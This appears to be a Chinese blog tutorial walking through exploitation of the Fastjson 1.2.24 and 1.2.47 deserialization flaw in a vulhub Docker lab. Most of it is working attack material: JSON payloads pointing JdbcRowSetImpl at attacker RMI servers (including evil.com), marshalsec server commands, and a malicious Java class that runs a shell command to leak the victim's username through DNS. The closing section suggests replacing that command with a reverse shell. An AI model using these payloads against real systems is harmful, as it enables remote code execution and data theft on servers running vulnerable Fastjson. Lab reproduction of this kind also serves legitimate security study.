本文最后更新于:41 分钟前
漏洞原理
通过fastjson反序列化漏洞,可以传入一个恶意构造的json内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。
其中json内容中含有rmi请求,反序列化过程中受害机器会请求rmi服务器(即攻击机器)上的恶意class文件,而class文件中含有要执行的恶意命令,因此造成了rce漏洞。
rmi协议是什么呢?其实就是一个机器执行另一个机器给的命令,但大多数情况下执行的命令没有回显,这时候要借助于dnslog平台(可以使用在线的,也可以使用burpsuite自带的)。
环境搭建
fastjson版本:1.2.24
攻击机ip:10.3.54.99
靶场ip:10.3.54.99:8090
这里的靶场本来准备用vps搭建的,后来因为yum源问题安装不了依赖,只能在kali虚拟机中搭建环境。为了方便,rmi服务器用python自带的http服务代替。
配置JDK
首先下载我提供的JDK1.8.0_281,再执行以下命令:
1 2 3 4 5 6 7 8
| mkdir /opt/java tar -zxvf jdk-8u281-linux-x64.tar.gz -C /opt/java
echo "export JAVA_HOME=/opt/java/jdk1.8.0_281" >> /etc/profile echo "export JRE_HOME=/opt/java/jdk1.8.0_281" >> /etc/profile echo "export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib" >> /etc/profile echo "export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin" >> /etc/profile source /etc/profile
|
如果kali自带的JDK版本不是1.8,则需要切换(使用命令java -version查看版本):
1 2 3
| update-alternatives --install /usr/bin/java java/opt/java/jdk1.8.0_281/bin/java 4
update-alternatives --config java
|
选择对应版本编号即可。
docker搭建漏洞环境
1 2 3 4 5 6
| docker pull vulhub/fastjson:1.2.24
docker run -d -p 8090:8090 vulhub/fastjson:1.2.24
|
安装Maven
1 2 3 4 5 6 7 8 9
| wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz mkdir /opt/maven tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
echo "export MAVEN_HOME=/opt/maven/apache-maven-3.6.3" >> /etc/profile echo "export PATH=$MAVEN_HOME/bin:$PATH" >> /etc/profile
mvn -version
|
安装marshalsec
1 2 3 4 5 6 7 8 9
| git clone https://github.com/mbechler/marshalsec.git cd marshalsec/
mvn clean package –DskipTests cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://启动python服务的ip:启动python服务的端口/
|
漏洞演示
用浏览器打开10.3.54.99:8090,提交请求并抓包:
再把请求头中的get改成post,并在报文中添加恶意json:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| # 1.2.24版本 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://kali的ip:9999/dnslog", "autoCommit":true } }
# 1.2.47版本 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/Exploit", "autoCommit":true } }
|
在kali虚拟机中编译以下的dnslog.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.lang.Runtime; import java.lang.Process;
public class dnslog{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
并用python启动http服务,模拟rmi服务器:
1
| python -m SimpleHTTPServer 9998
|
这时靶场会获取到恶意的dnslog.class文件。建议先进行上述步骤,再进行安装marshalsec的操作,以免靶场获取不到恶意文件。
前往dnslog平台,查看外带的回显(一定不要点击浏览器的刷新,要点那个Refresh Record):
总结
我们还可以把恶意命令换成bash反弹一句话,获得反弹回来的shell,进一步扩大战果。